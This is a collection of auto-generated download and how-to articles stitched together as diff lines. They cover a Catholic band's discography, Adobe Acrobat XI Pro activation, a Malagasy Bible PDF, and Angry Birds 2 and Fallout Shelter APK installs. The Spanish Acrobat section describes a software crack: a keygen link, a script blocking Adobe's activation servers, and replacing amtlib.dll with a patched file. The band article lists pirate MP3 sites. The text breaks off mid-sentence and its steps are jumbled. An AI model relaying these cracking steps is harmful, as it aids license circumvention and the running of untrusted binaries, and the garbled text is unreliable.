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spaces/1acneusushi/gradio-2dmoleculeeditor/data/Anjos de Resgate Download Discografia Learn More About Their History and Mission.md

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-<h1>Anjos de Resgate: A Guide to Download Their Discography</h1>
- <p>If you are a fan of Catholic music, you have probably heard of Anjos de Resgate, one of the most popular and influential bands in Brazil. Anjos de Resgate, which means "Angels of Rescue" in Portuguese, is a group of musicians who use their talents to spread the gospel and inspire people with their songs. In this article, we will tell you more about who they are, how to download their discography, and what are their best songs.</p>
- <h2>Who are Anjos de Resgate?</h2>
- <p>Anjos de Resgate is a Catholic band that was formed in 1999 by Marcelo Duarte, Dalvimar Gallo, Eraldo Mattos, Demian Tiguez, and Francis Botene. The band has gone through some changes in its lineup over the years, but it has always maintained its identity and mission.</p>
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- <h3>The history and mission of the band</h3>
- <p>The band was born from a desire to evangelize through music and to reach out to people who were away from God. The band members were inspired by other Catholic artists such as Adriana Arydes, Rosa de Saron, and Padre Marcelo Rossi. They decided to create their own songs that would reflect their faith and their love for God.</p>
- <p>The band's name comes from a passage in the Bible that says: "For he will command his angels concerning you to guard you in all your ways" (Psalm 91:11). The band believes that God sends his angels to protect and guide us in our journey of life. They also believe that they are called to be "angels of rescue" for those who need help and hope.</p>
- <p>The band's mission is to use music as a tool for evangelization and catechesis. They want to share the message of God's love, mercy, and salvation with everyone who listens to their songs. They also want to encourage people to live a life of holiness and service to God and others.</p>
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- <h3>The awards and achievements of the band</h3>
- <p>Anjos de Resgate is one of the most successful Catholic bands in Brazil. They have sold more than 1 million copies of their albums, earning 6 gold discs, 2 platinum discs, 1 double platinum disc, 2 gold DVDs, and being the first Catholic band to receive a gold DVD award in Brazil.</p>
- <p>The band has also performed in many events and festivals across Brazil and abroad. They have shared the stage with other famous Catholic artists such as Padre Fábio de Melo, Padre Reginaldo Manzotti, Tony Allysson, Eliana Ribeiro, and Celina Borges. They have also participated in World Youth Days, Catholic congresses, retreats, and missions.</p>
- <h3>The style and message of the band</h3>
- <p>Anjos de Resgate has a unique style that combines pop rock, ballads, folk, country, and worship music. They use instruments such as guitars, keyboards, drums, violins, flutes, saxophones, and harmonicas. They also use vocal harmonies and choirs to create a rich and diverse sound.</p>
- <p>The band's songs are based on the teachings of the Catholic Church, the Bible, the saints, and their own personal experiences. They sing about topics such as God's love, grace, forgiveness, presence, providence, protection, healing, joy, peace, hope, faith, prayer, worship, family, life, mission, and social justice. They also sing about Mary, the mother of Jesus, and the angels, who are their patrons and intercessors.</p>
- <h2>How to download Anjos de Resgate's discography?</h2>
- <p>If you want to listen to Anjos de Resgate's songs on your devices, you have several options to download their discography. Here are some of them:</p>
- <h3>The official website of the band</h3>
- <p>The best way to support the band and to get access to all their albums is to visit their official website: <a href="https://anjosderesgate.com.br/discografia/">https://anjosderesgate.com.br/discografia/</a>. There, you can buy their CDs and DVDs online or find out where to buy them in physical stores. You can also find information about their history, agenda, band members, photos, videos, friends by faith, news, and contact.</p>
- <h3>The streaming platforms of the band</h3>
- <p>If you prefer to stream their music online, <h3>The third-party websites of the band</h3>
- <p>If you want to download their music for free or for a lower price, you can also find some third-party websites that offer their discography. However, you should be careful with these websites, as they may not be legal or safe. Some of them may contain viruses, malware, or spyware that can harm your devices or steal your personal information. You should also respect the intellectual property rights of the band and the music industry.</p>
- <p>Some of the third-party websites that you can find are:<a href="https://www.baixarmusica.net/anjos-de-resgate/">Baixar Música</a>,<a href="https://www.krafta.info/br/search/Anjos-De-Resgate/1/mp3">Krafta</a>,<a href="https://www.mp3xd.com/mp3/anjos-de-resgate/">MP3XD</a>,<a href="https://www.4shared.com/web/results?query=anjos+de+resgate">4shared</a>,<a href="https://www.mp3teca.com/musica/anjos-de-resgate/">MP3TECA</a>,<a href="https://www.mp3juices.cc/">MP3Juices</a>,<a href="https://www.mp3skull.com/">MP3Skull</a>,<a href="https://www.mp3clan.com/">MP3Clan</a>,<a href="https://www.mp3goo.com/">MP3Goo</a>,<a href="https://www.mp3raid.com/">MP3Raid</a>,<a href="https://www.mp3monkey.net/">MP3Monkey</a>,<a href="https://www.mp3cool4.info/">MP3Cool</a>,<a href="https://www.mp3lio.com/">MP3Lio</a>,<a href="https://www.mp3pm.com/">MP3PM</a>,<a href="https://www.mp3tunes.org/">MP3Tunes</a>,<a href="https://www.mp3truck.net/">MP3Truck</a>, and<a href="https://www.zippyshare.com/search?q=anjos+de+resgate">Zippyshare</a>.</p>
- <h2>What are the best songs of Anjos de Resgate?</h2>
- <p>Anjos de Resgate has released 10 albums so far, with more than 100 songs. Some of their songs have become classics of Catholic music, touching the hearts of millions of people. Here are some of their best songs, with their lyrics and meanings.</p>
- <h3>Meu Senhor</h3>
- <p>This song is from their first album, Anjos de Resgate (2000). It is a song of praise and adoration to Jesus, who is the Lord of all creation. The song expresses the love and gratitude of the singer for Jesus, who died and rose for us. The song also invites us to surrender our lives to Jesus and to follow him faithfully.</p>
- <p>The lyrics are:</p>
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- <h3>Foi Por Você</h3>
- <p>This song is from their second album, Luz das Nações (2001). It is a song of reflection and repentance for our sins, which caused Jesus to suffer and die on the cross. The song reminds us of the passion and death of Jesus, who gave his life for us out of love. The song also calls us to conversion and reconciliation with God and our brothers and sisters.</p>
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spaces/1acneusushi/gradio-2dmoleculeeditor/data/Como activar adobe acrobat xi pro con una copia de prueba a suscripcin.md

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-<h1>Como activar adobe acrobat xi pro</h1>
-<p>Adobe Acrobat XI Pro es una de las mejores herramientas para crear, editar y compartir documentos PDF. Sin embargo, para poder usar todas sus funciones y evitar problemas de licencia, es necesario activar el programa. En este artículo te explicaremos qué es Adobe Acrobat XI Pro, por qué debes activarlo y cómo hacerlo de dos formas diferentes.</p>
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- <h2>¿Qué es Adobe Acrobat XI Pro?</h2>
-<p>Adobe Acrobat XI Pro es la versión profesional del software de Adobe que te permite trabajar con archivos PDF de forma fácil y eficiente. Con este programa puedes crear documentos PDF desde cualquier aplicación, convertir archivos de otros formatos a PDF, editar y modificar el contenido y la apariencia de los PDF, añadir comentarios y anotaciones, firmar y proteger los documentos, combinar y organizar varios PDF en uno solo, crear formularios interactivos y mucho más.</p>
- <h3>Características y beneficios</h3>
-<p>Algunas de las características y beneficios de Adobe Acrobat XI Pro son:</p>
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-<li>Te permite crear documentos PDF de alta calidad con opciones de personalización y optimización.</li>
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-<li>Te da la posibilidad de crear formularios PDF rellenables y recopilar datos de forma segura.</li>
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-</ul>
- <h3>Requisitos del sistema</h3>
-<p>Para poder instalar y usar Adobe Acrobat XI Pro necesitas cumplir con los siguientes requisitos del sistema:</p>
-<table>
-<tr><td>Sistema operativo</td><td>Windows XP SP3 o superior (32 bits), Windows Vista SP2 o superior (32 bits y 64 bits), Windows 7 SP1 o superior (32 bits y 64 bits), Windows 8 (32 bits y 64 bits)</td></tr>
-<tr><td>Procesador</td><td>1.3 GHz o superior</td></tr>
-<tr><td>Memoria RAM</td><td>512 MB (1 GB recomendado)</td></tr>
-<tr><td>Espacio en disco duro</td><td>1.85 GB</td></tr>
-<tr><td>Resolución de pantalla</td><td>1024 x 768</td></tr>
-<tr><td>Tarjeta gráfica</td><td>Aceleración de hardware compatible con DirectX 9 o superior</td></tr>
-<tr><td>Navegador web</td><td>Internet Explorer 7 o superior, Firefox 3.5 o superior, Chrome 9 o superior</td></tr>
-<tr><td>Otros requisitos</td><td>Conexión a internet para la activación del producto y las actualizaciones; unidad de DVD-ROM para la instalación desde disco; Adobe Flash Player 10 o superior para ver algunos contenidos; Microsoft Office 2007 o superior para la integración con Office.</td></tr>
-</table>
- <h2>¿Por qué activar Adobe Acrobat XI Pro?</h2>
-<p>Activar Adobe Acrobat XI Pro es necesario para poder disfrutar de todas las ventajas que ofrece el programa y evitar los inconvenientes que supone no hacerlo.</p>
- <h3>Ventajas de la activación</h3>
-<p>Algunas de las ventajas de activar Adobe Acrobat XI Pro son:</p>
-<ul>
-<li>Tendrás acceso ilimitado a todas las funciones del programa sin restricciones ni limitaciones.</li>
-<li>No recibirás mensajes molestos ni recordatorios para activar el producto cada vez que lo uses.</li>
-<li>No tendrás problemas legales ni éticos por usar un software sin licencia válida.</li>
-<li>Podrás recibir actualizaciones automáticas del programa con mejoras y correcciones de errores.</li>
-<li>Podrás acceder al soporte técnico y al servicio al cliente de Adobe en caso de necesitar ayuda.</li>
-<li>Podrás aprovechar las ofertas y promociones exclusivas para los usuarios registrados.</li>
-</ul>
- <h3>Desventajas de no activar</h3>
-<p>Algunas de las desventajas de no activar Adobe Acrobat XI Pro son:</p>
-<ul>
-<li>No podrás usar todas las funciones del programa y algunas estarán deshabilitadas o limitadas.</li>
-<li>Recibirás mensajes constantes y molestos para que actives el producto cada vez que lo uses.</li>
-<li>Infringirás los términos y condiciones de uso del software y podrías enfrentarte a consecuencias legales o éticas.</li>
-<li>No podrás recibir actualizaciones automáticas del programa ni acceder a las últimas novedades.</li>
-<li>No podrás acceder al soporte técnico ni al servicio al cliente de Adobe en caso de necesitar ayuda.</li>
-<li>No podrás aprovechar las ofertas ni promociones exclusivas para los usuarios registrados.</li>
-</ul>
- <h2>¿Cómo activar Adobe Acrobat XI Pro?</h2>
-<p>Existen dos métodos para activar Adobe Acrobat XI Pro: usar un keygen o usar un parche. A continuación te explicamos cómo hacerlo paso a paso en cada caso.</p>
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- <h3>Método 1: Usar un keygen</h3>
-<p>Un keygen es un programa que genera números de serie válidos para activar el software. Para usar este método necesitas descargar un keygen compatible con Adobe Acrobat XI Pro. Puedes encontrarlo en sitios web como <a href="https://detodounpocoh.jimdofree.com/2013/03/28/tutorial-activar-adobe-acrobat-xi-pro-multi/">este</a>. Una vez que lo tengas sigue estos pasos:</p>
- <h4>Paso 1: Ejecutar el fichero "disable_activation.cmd"</h4>
-<p>Este fichero sirve para bloquear la conexión del programa con los servidores de Adobe y evitar que detecte que el número de serie es falso. Para ejecutarlo debes hacer clic derecho sobre él y seleccionar "Ejecutar como administrador". Este paso se puede hacer antes o después de instalar el programa.</p>
- <h4>Paso 2: Desactivar el internet</h4>
-<p>Este paso es muy importante para evitar que el programa se conecte a internet y verifique la validez del número de serie. Para desactivar el internet puedes desconectar el cable ethernet, apagar el wifi o deshabilitar la tarjeta de red desde el panel de control.</p>
- <h4>Paso 3: Instalar el programa</h4>
-<h4>Paso 2: Copiar el archivo "amtlib.dll" en la carpeta del programa</h4>
-<p>Este es el archivo que contiene el parche que activará el programa. Para copiarlo debes abrir la carpeta donde descargaste el parche y buscar el archivo "amtlib.dll". Luego debes abrir la carpeta donde se instaló el programa, que por defecto es "C:\Program Files (x86)\Adobe\Acrobat 11.0\Acrobat". Allí debes pegar el archivo "amtlib.dll" y reemplazar el que ya existe.</p>
- <h4>Paso 3: Disfrutar del programa activado</h4>
-<p>Ya no necesitas hacer nada más. Solo debes iniciar el programa y disfrutar de todas sus funciones sin problemas. Ya tienes tu Adobe Acrobat XI Pro activado.</p>
- <h2>Preguntas frecuentes</h2>
-<p>A continuación te presentamos algunas preguntas frecuentes sobre la activación de Adobe Acrobat XI Pro y sus respuestas:</p>
- <h3>¿Qué pasa si no activo Adobe Acrobat XI Pro?</h3>
-<p>Si no activas Adobe Acrobat XI Pro, solo podrás usarlo por un periodo de prueba de 30 días. Después de ese tiempo, el programa dejará de funcionar y te pedirá que lo actives o que compres una licencia.</p>
- <h3>¿Qué pasa si Adobe detecta que he usado un método ilegal para activar el programa?</h3>
-<p>Si Adobe detecta que has usado un método ilegal para activar el programa, puede bloquear tu número de serie o desactivar tu producto. También puede tomar medidas legales contra ti por violar los términos y condiciones de uso del software.</p>
- <h3>¿Qué pasa si actualizo el programa después de activarlo?</h3>
-<p>Si actualizas el programa después de activarlo, puede que pierdas la activación y tengas que repetir el proceso. Por eso se recomienda desactivar las actualizaciones automáticas del programa y solo actualizarlo cuando sea necesario.</p>
- <h3>¿Qué pasa si cambio de computadora o formateo mi disco duro?</h3>
-<p>Si cambias de computadora o formateas tu disco duro, tendrás que reinstalar y reactivar el programa. Para ello debes seguir los mismos pasos que explicamos anteriormente.</p>
- <h3>¿Qué pasa si tengo problemas para activar el programa o necesito ayuda?</h3>
-<p>Si tienes problemas para activar el programa o necesitas ayuda, puedes consultar los foros y blogs de usuarios que han usado los mismos métodos que tú. También puedes contactar con el soporte técnico o el servicio al cliente de Adobe, pero ten en cuenta que ellos no te ayudarán si has usado un método ilegal para activar el programa.</p>
- <h2>Conclusión</h2>
-<p>En este artículo te hemos mostrado cómo activar Adobe Acrobat XI Pro de dos formas diferentes: usando un keygen o usando un parche. Ambos métodos son efectivos y te permitirán usar todas las funciones del programa sin problemas. Sin embargo, debes tener en cuenta que estos métodos son ilegales y pueden tener consecuencias negativas para ti y para Adobe. Por eso te recomendamos que si te gusta el programa y lo usas con frecuencia, compres una licencia oficial y lo actives de forma legal. Así podrás disfrutar del programa con tranquilidad y apoyarás el trabajo de los desarrolladores.</p>
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spaces/1acneusushi/gradio-2dmoleculeeditor/data/Dont Let Your Downloads Turn into Nightmares How to Protect Yourself from Dangerous Files.md

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-<h1>Can Downloading a File Be Dangerous? How to Stay Safe Online</h1>
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spaces/1acneusushi/gradio-2dmoleculeeditor/data/Ebooks Tu00e9lu00e9chargu00e9s Tendances C1 C2 -.md

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-<h1>Les Ebooks Téléchargés Tendances C1 C2 - Quels sont les livres numériques les plus populaires en 2023?</h1>
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spaces/1gistliPinn/ChatGPT4/Examples/BaibolySyFihiranapdf.md

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-<p>Baiboly Sy Fihirana pdf is a file format that combines two important elements of the Protestant faith in Malagasy: the Baiboly and the Fihirana.</p>
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-<p>The Baiboly is the Malagasy translation of the Bible, which is the sacred scripture of Christianity. It contains 66 books divided into two sections: the Old Testament and the New Testament. The Baiboly was first translated into Malagasy by British missionaries in the 19th century and has been revised several times since then.</p>
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-<p>The Fihirana is the collection of hymns or songs of praise that are sung during worship services or personal devotions. The Fihirana contains hundreds of hymns composed by various authors, some of them based on biblical passages or themes. The Fihirana was also introduced by British missionaries and has been enriched by local contributions over the years.</p>
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-<p>Baiboly Sy Fihirana pdf is a file format that allows you to access both the Baiboly and the Fihirana in a single document. You can read the Bible verses and the hymn lyrics in Malagasy, as well as listen to the audio recordings of some hymns. You can also search for specific words or phrases, bookmark your favorite verses or hymns, and share them with others.</p>
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-<li>You can also download Baiboly Sy Fihirana pdf from various apps that offer it for free. For example, you can download Baiboly & Fihirana Protestanta app from Google Play Store or App Store and install it on your Android or iOS device. The app contains the Baiboly Sy Fihirana pdf file as well as other features such as daily reading plans, Bible dictionary, and more.</li>
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-<li>Reading and studying the Bible in Malagasy. You can browse through the books, chapters, and verses of the Bible and read them in your native language. You can also compare different translations or versions of the Bible if you have them.</li>
-<li>Singing and listening to hymns in Malagasy. You can browse through the hymns by number or title and read their lyrics in your native language. You can also listen to some hymns that have audio recordings available.</li>
-<li>Following daily reading plans in Malagasy. You can follow a plan that guides you through reading a portion of the Bible and a hymn every day. You can also choose from different plans that suit your preference or need.</li>
-<li>Searching for specific words or phrases in Malagasy. You can use the search function to find any word or phrase that appears in the Baiboly or the Fihirana. You can also filter your search results by book, chapter, verse, or hymn.</li>
-<li>Bookmarking your favorite verses or hymns in Malagasy. You can use the bookmark function to save any verse or hymn that you like or want to remember. You can also access your bookmarks anytime and share them with others.</li>
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-<p>Baiboly Sy Fihirana pdf is a file format that contains the Malagasy Bible and Hymns in a single document. It is a valuable resource for Malagasy speakers (Madagascar) all around the world who want to read and sing the Word of God in their native language.</p>
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-<p>If you want to get Baiboly Sy Fihirana pdf, you can download it from various websites or apps that offer it for free, or create your own by merging PDF files online.</p>
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-<p>If you want to use Baiboly Sy Fihirana pdf, you can use it for various purposes such as reading and studying the Bible, singing and listening to hymns, following daily reading plans, searching for specific words or phrases, bookmarking your favorite verses or hymns, and sharing them with others.</p>
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spaces/1gistliPinn/ChatGPT4/Examples/Dragon Ball Z Movie 5 Coolers Revenge Download Watch Goku Fight Friezas Brother.md

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spaces/1phancelerku/anime-remove-background/Angry Birds 2 APK - Play the Latest Version of the Classic Game.md

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-<h1>How to Download and Play Angry Birds 2 Latest Version APK on Android</h1>
-<p>Angry Birds 2 is one of the most popular puzzle games in the world, with over 100 million downloads on Google Play. It is the sequel to the original Angry Birds game, which was released in 2009 and became a global phenomenon. In Angry Birds 2, you can join hundreds of millions of players for free and start a fun slingshot adventure. You can team up with your friends, climb the leaderboards, gather in clans, collect hats, take on challenges, and play fun events in all-new game modes. You can also evolve your team and show your skills in this exciting game.</p>
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-<p>An APK file is an Android Package file that contains all the necessary files and data for an app to run on an Android device. You can download an APK file from various websites that offer free or paid apps for Android users. However, not all APK files are safe and compatible with your device. Some may contain viruses or malware that can harm your device or steal your personal information. Some may also be outdated or incompatible with your device's operating system or hardware specifications.</p>
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-<li>Tap on the APK file and follow the instructions to install it on your device.</li>
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-<li>Go to Google Play Store on your device.</li>
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-<li>Find "Angry Birds 2" from the list of apps and tap on "Update".</li>
-<li>Wait for the update to finish and launch the game.</li>
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-<p>You can also enable auto-update for Angry Birds 2 so that you don't have to manually update it every time a new version is released. To do that, go to Google Play Store > Angry Birds 2 > Menu (three vertical dots) > Enable auto-update.</p>
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-<p>Angry Birds 2 is a fun and addictive game that challenges your skills and strategy. The game has hundreds of levels that you can play in different modes, such as campaign, daily challenge, tower of fortune, mighty eagle's bootcamp, and more. You can also join a clan and compete with other players in the arena for rewards and glory. Here are some basic tips on how to play Angry Birds 2 latest version APK:</p>
-<h3>How to Choose Your Bird and Use Spells</h3>
-<p>In Angry Birds 2, you can choose which bird to fling next from a deck of cards. Each bird has a special ability that you can activate by tapping on the screen while they are in mid-air. For example, Red can knock down structures with a powerful scream, Chuck can speed up and slice through obstacles, Bomb can explode and cause massive damage, and so on. You can also use spells to boost your birds or sabotage the pigs. Spells are cards that you can collect or buy with gems. Some of the spells are golden duck, which unleashes a flock of explosive ducks, chili pepper, which sets a random pig on fire, pig inflator, which inflates all the pigs and makes them pop, and more. You can use up to three spells per level.</p>
-<h3>How to Complete Levels and Challenges</h3>
-<p>To complete a level in Angry Birds 2, you need to destroy all the pigs and their structures with the birds and spells you have. You also need to collect stars by scoring high points. The more stars you collect, the more rewards you get. You can also earn feathers by destroying objects with style. Feathers can be used to level up your birds and hats. Some levels have multiple stages that you need to clear with the same deck of cards. If you run out of cards or lives, you can either watch an ad, spend gems, or ask your friends for help.</p>
-<p>Besides the regular levels, you can also play various challenges in Angry Birds 2. These include daily challenge, which gives you a random level with a specific bird or spell every day, tower of fortune, which lets you climb a tower of levels with increasing difficulty and rewards, mighty eagle's bootcamp, which trains you with different tasks and objectives every week, and more. You can earn coins, gems, tickets, chests, hats, and other prizes by completing these challenges.</p> <h3>How to Join a Clan and Compete in the Arena</h3>
-<p>A clan is a group of players who can chat, share tips, and help each other in Angry Birds 2. You can join an existing clan or create your own clan with your friends. By joining a clan, you can access the clan chat, the clan leaderboards, the clan quests, and the clan gifts. Clan quests are special missions that you can complete with your clan members to earn rewards. Clan gifts are chests that you can send or receive from your clan members every day.</p>
-<p>The arena is a competitive mode where you can challenge other players from around the world in real-time. You can enter the arena by using tickets, which you can earn or buy with gems. In the arena, you can choose from three random levels and try to score higher than your opponent. You can also use spells to boost your score or hinder your opponent. The more you win, the higher you climb the arena leaderboards and the more rewards you get. You can also earn trophies by winning in the arena, which can unlock new leagues and hats.</p>
-<h2>Tips and Tricks for Angry Birds 2 Latest Version APK</h2>
-<p>Angry Birds 2 is a game that requires skill, strategy, and luck. Here are some tips and tricks that can help you improve your game and have more fun:</p>
-<h3>How to Level Up Your Birds and Hats</h3>
-<p>Your birds and hats are your main assets in Angry Birds 2. The higher their level, the more powerful they are. You can level up your birds by using feathers, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. You can level up your hats by using black pearls, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. You can also unlock new hats by collecting hat sets, which you can find in chests or buy with gems.</p>
-<h3>How to Earn Coins and Gems</h3>
-<p>Coins and gems are the main currencies in Angry Birds 2. You can use them to buy spells, chests, tickets, lives, and other items. You can earn coins by playing levels, completing challenges, opening chests, watching ads, or buying with gems. You can earn gems by playing levels, completing challenges, opening chests, watching ads, or buying with real money.</p>
-<h3>How to Use Mighty Eagle and Hatchlings</h3>
-<p>Mighty Eagle is a powerful ally that can help you clear any level in Angry Birds 2. You can use Mighty Eagle by filling up the destruction meter at the top of the screen. To fill up the meter, you need to destroy as many objects as possible with your birds and spells. Once the meter is full, you can tap on it and summon Mighty Eagle to swoop down and destroy everything on the screen. You can use Mighty Eagle once per level.</p>
-<p>Hatchlings are cute baby birds that you can hatch and collect in Angry Birds 2. You can find hatchlings in eggs, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. You can also get eggs from your friends or send eggs to your friends. To hatch an egg, you need to tap on it and wait for a few seconds. Once hatched, you can name your hatchling and add it to your collection. You can also feed your hatchlings with apples, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. Feeding your hatchlings will make them happy and give you rewards.</p>
-<h2>Conclusion</h2>
-<p>Angry Birds 2 is a fun and addictive game that you can play for free on your Android device. It has amazing graphics, sound effects, animations, and gameplay that will keep you entertained for hours. It also has new features and improvements that make it more exciting and challenging than ever before. If you want to download and play Angry Birds 2 latest version APK on your Android device, you just need to follow the steps we have shown you in this article. You can also use our tips and tricks to improve your game and have more fun.</p>
-<p>We hope you enjoyed this article and learned something new about Angry Birds 2 latest version APK. If you did, please share it with your friends and family who might be interested in this game as well. Also, don't forget to leave us a comment below and tell us what you think about Angry Birds 2 latest version APK. Have you tried it yet? What do you like or dislike about it? Do you have any questions or suggestions for us? We would love to hear from you!</p>
-<h2>FAQs</h2>
-<h4>What are the minimum requirements for Angry Birds 2 Latest Version APK?</h4>
-<p>To play Angry Birds 2 latest version APK, you need to have an Android device that runs on Android 5.0 or higher, has at least 1 GB of RAM, and has at least 500 MB of free storage space. You also need to have a stable internet connection to play the game online.</p>
-<h4>Is Angry Birds 2 Latest Version APK free to play?</h4>
-<p>Yes, Angry Birds 2 latest version APK is free to play, but it contains in-app purchases that can enhance your gaming experience. You can buy gems, coins, spells, chests, tickets, lives, and other items with real money. However, you can also earn these items by playing the game, completing challenges, opening chests, watching ads, or getting them from your friends or clan members. You can also disable in-app purchases by going to your device settings and turning off the option.</p>
-<h4>How can I contact the developer of Angry Birds 2 Latest Version APK?</h4>
-<p>If you have any questions, feedback, suggestions, or issues regarding Angry Birds 2 latest version APK, you can contact the developer by using one of the following methods:</p>
-<ul>
-<li>Email: [email protected]</li>
-<li>Website: https://www.rovio.com/games/angry-birds-2</li>
-<li>Facebook: https://www.facebook.com/angrybirds</li>
-<li>Twitter: https://twitter.com/AngryBirds</li>
-<li>YouTube: https://www.youtube.com/user/RovioMobile</li>
-</ul>
-<p>The developer is Rovio Entertainment Corporation, a Finnish company that is best known for creating the Angry Birds franchise. The company was founded in 2003 and has since released several games, movies, books, merchandise, and other media related to Angry Birds.</p>
-<h4>Can I play Angry Birds 2 Latest Version APK offline?</h4>
-<p>No, you cannot play Angry Birds 2 latest version APK offline. You need to have an internet connection to access all the features and content of the game. You also need to have an internet connection to save your progress and sync it across your devices. However, you can play some levels offline if you have already downloaded them before. To do that, go to Settings > Offline Mode and toggle it on.</p>
-<h4>Can I transfer my progress from Angry Birds 2 to Angry Birds 2 Latest Version APK?</h4>
-<p>Yes, you can transfer your progress from Angry Birds 2 to Angry Birds 2 latest version APK if you have connected your game account to Facebook or Google Play Games. To do that, follow these steps:</p>
-<ol>
-<li>Launch Angry Birds 2 on your old device and make sure it is connected to Facebook or Google Play Games.</li>
-<li>Launch Angry Birds 2 latest version APK on your new device and tap on "Connect" on the main screen.</li>
-<li>Select Facebook or Google Play Games and log in with the same account that you used on your old device.</li>
-<li>Wait for the game to sync your progress and enjoy playing on your new device.</li>
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spaces/1phancelerku/anime-remove-background/Build Your Dream Vault with Fallout Shelter APK for Android.md

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-<h1>Download Fallout Shelter APK: How to Play the Best Mobile Game of 2015 on Your Android Device</h1>
-<p>Do you love simulation games that let you create and manage your own world? Do you enjoy post-apocalyptic scenarios that challenge your survival skills? Do you want to experience one of the most popular and acclaimed mobile games of all time? If you answered yes to any of these questions, then you should download Fallout Shelter APK and start playing it on your Android device today.</p>
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-<h2>What is Fallout Shelter?</h2>
-<h3>A brief introduction to the game and its features</h3>
-<p>Fallout Shelter is a mobile game developed by Bethesda Softworks LLC, the same studio behind the famous Fallout series. It was released in 2015 and won several awards, including Google Play Best of 2015, Mobile Game of the Year at the 2016 DICE Awards, and Best Handheld/Mobile Game at the 2015 Golden Joystick Awards.</p>
-<p>In Fallout Shelter, you are in charge of a state-of-the-art underground vault that shelters people from the nuclear war that has devastated the world. Your goal is to build and expand your vault, provide your dwellers with resources, outfits, weapons, and training, and protect them from threats from the outside and within.</p>
-<h3>Why you should play Fallout Shelter</h3>
-<p>Fallout Shelter is not just a simple simulation game. It is a game that offers you endless possibilities and fun. Here are some reasons why you should play Fallout Shelter:</p>
-<ul>
-<li>It is simple to play and addictive as hell. You can easily get hooked on designing your vault, assigning your dwellers to their ideal jobs, crafting items from junk, customizing their appearance, and watching them interact with each other.</li>
-<li>It is rich in content and variety. You can explore different themes and styles for your vault, such as medieval, futuristic, or retro. You can also send your dwellers to explore the wasteland and find new armor, weapons, caps, and even pets. You can also encounter random events and quests that add more excitement and challenge to your game.</li>
-<li>It is immersive and engaging. You can feel like you are part of the Fallout universe, with its unique aesthetics, humor, and lore. You can also enjoy the stunning graphics, animations, sound effects, and music that make your vault come alive.</li>
-</ul>
-<h2>How to download Fallout Shelter APK</h2>
-<h3>The benefits of downloading the APK file</h3>
-<p>If you want to play Fallout Shelter on your Android device, you have two options: you can download it from Google Play Store or you can download the APK file from a third-party source. The APK file is an application package file that contains all the data and files needed to install and run an app on your device.</p>
-<p>There are some benefits of downloading the APK file instead of using Google Play Store. For example:</p>
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-<ul>
-<li>You can access the latest version of the game before it is officially released on Google Play Store.</li>
-<li>You can bypass any regional restrictions or compatibility issues that may prevent you from downloading or installing the game from Google Play Store.</li>
-<li>You can save some storage space on your device by deleting the APK file after installing the game.</li> <h3>The steps to download and install the APK file</h3>
-<p>If you decide to download the APK file of Fallout Shelter, you need to follow these steps:</p>
-<ol>
-<li>Find a reliable and trustworthy source that offers the APK file of Fallout Shelter. You can use a search engine or a website that reviews and rates APK files. Make sure to check the ratings, reviews, and comments of other users before downloading the file.</li>
-<li>Download the APK file to your device. You may need to enable the option to allow downloads from unknown sources in your device settings. This will let you install apps that are not from Google Play Store.</li>
-<li>Locate the APK file on your device and tap on it to start the installation process. You may need to grant some permissions to the app to access your device features and data.</li>
-<li>Wait for the installation to finish and then launch the game from your app drawer or home screen.</li>
-</ol>
-<p>Congratulations, you have successfully downloaded and installed Fallout Shelter APK on your Android device. You can now enjoy playing the game anytime and anywhere.</p>
-<h2>How to play Fallout Shelter</h2>
-<h3>The basics of building and managing your vault</h3>
-<p>Once you start the game, you will be greeted by a tutorial that will guide you through the basics of building and managing your vault. Here are some of the things you need to know:</p>
-<ul>
-<li>Your vault is divided into different rooms that serve different purposes, such as power generators, water treatment plants, diners, living quarters, medbays, science labs, workshops, storage rooms, and more. You can build new rooms by tapping on the hammer icon at the bottom right corner of the screen and dragging them to an empty space in your vault.</li>
-<li>Your rooms need power, water, and food to function properly. You can produce these resources by assigning dwellers to work in the corresponding rooms. You can also upgrade your rooms to increase their capacity and efficiency.</li>
-<li>Your dwellers are the people who live in your vault. They have different stats, skills, traits, and preferences that affect their performance and happiness. You can view their details by tapping on them or by accessing the dweller list at the bottom left corner of the screen.</li>
-<li>You can improve your dwellers' stats by training them in special rooms, such as the gym, classroom, armory, or lounge. You can also equip them with outfits and weapons that boost their stats and abilities.</li>
-<li>You can increase your population by attracting new dwellers from the wasteland or by making your existing dwellers have babies. You can also customize your dwellers' appearance by changing their hair, facial features, or clothing.</li>
-</ul>
-<h3>The tips and tricks to make your dwellers happy and prosperous</h3>
-<p>Building and managing your vault is not enough. You also need to make sure that your dwellers are happy and prosperous. Here are some tips and tricks to help you achieve that:</p>
-<ul>
-<li>Keep an eye on your dwellers' happiness level, which is indicated by a smiley face icon above their heads. Happy dwellers work harder, produce more resources, and earn more caps. Unhappy dwellers may become depressed, sick, or rebellious.</li>
-<li>To increase your dwellers' happiness, you need to fulfill their needs and desires. Some of the factors that affect their happiness are: having enough resources, working in their ideal jobs, living in comfortable rooms, having friends or partners, receiving rewards or bonuses, being healthy and safe, etc.</li>
-<li>You can also use some items or actions that boost your dwellers' happiness, such as giving them stimpacks or radaways, playing with pets, sending them on quests or explorations, hosting parties or events, etc.</li>
-<li>Avoid doing things that lower your dwellers' happiness, such as overworking them, starving them, exposing them to radiation or diseases, ignoring their complaints or requests, punishing them or sending them to isolation chambers, etc.</li>
-</ul> <h3>The challenges and rewards of exploring the wasteland</h3>
-<p>Another aspect of playing Fallout Shelter is exploring the wasteland. You can send your dwellers to venture outside the vault and discover new locations, items, and enemies. Exploring the wasteland can be challenging but also rewarding. Here are some of the things you need to know:</p>
-<ul>
-<li>You can select any dweller to explore the wasteland by tapping on the wasteland icon at the bottom right corner of the screen and dragging them to the exit door. You can also equip them with outfits, weapons, stimpacks, and radaways to increase their chances of survival.</li>
-<li>Your explorer will automatically travel and explore the wasteland, encountering various events and situations. You can view their progress and status by tapping on their portrait in the wasteland menu. You can also recall them back to the vault at any time.</li>
-<li>Exploring the wasteland can be dangerous, as your explorer may face hostile creatures, raiders, or other threats. They may also suffer from radiation, hunger, thirst, or fatigue. You need to monitor their health and resource levels and use stimpacks or radaways when necessary.</li>
-<li>Exploring the wasteland can also be rewarding, as your explorer may find valuable items, such as caps, junk, weapons, outfits, recipes, or even legendary items. They may also gain experience and level up their stats and skills.</li>
